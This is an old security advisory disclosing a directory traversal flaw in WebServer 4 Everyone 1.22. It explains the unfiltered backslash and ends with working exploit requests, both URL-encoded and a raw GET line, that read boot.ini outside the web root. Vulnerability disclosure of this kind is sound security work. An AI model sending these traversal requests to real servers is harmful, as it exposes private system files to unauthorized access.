          WebServer 4 Everyone directory traversal bug
      -----------------------------------------------------
    
    Name:      WebServer 4 Everyone directory traversal bug
    Date:                                        28.08.2002
    Author:   UkR-XblP/ UkR security team/ http://ust.dp.ua
    Application:         WebServer 4 Everyone Version: 1.22 
    URL:                            http://www.freeware.lt/
    Risk: An attacker can view every file in the remote sys
    About:   WebServer 4 Everyone is a commercial webserver
                                 that runs on Win32 systems.
    Bug:  problem is caused by the character '\' (%5c) that
           is not checked as bad character, so the server 
           follow the path in the URI that the attacker give
           until it reach the file requested.
    Exploits: 
          http://host/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
                   or GET /\..\..\..\..\..\boot.ini HTTP/1.0
          This last is an HTTP request that can be sent with
    telnet because some browsers can modify the "\.." chars.
